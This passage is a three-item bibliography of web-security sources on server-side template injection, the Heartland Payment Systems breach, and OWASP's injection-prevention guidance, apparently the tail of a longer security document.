- PortSwigger. "Server-Side Template Injection." https://portswigger.net/web-security/server-side-template-injection
- Stammberger, K. "Heartland Payment Systems: Lessons Learned." SANS Institute, 2009.
- OWASP Foundation. "Injection Prevention Cheat Sheet." https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html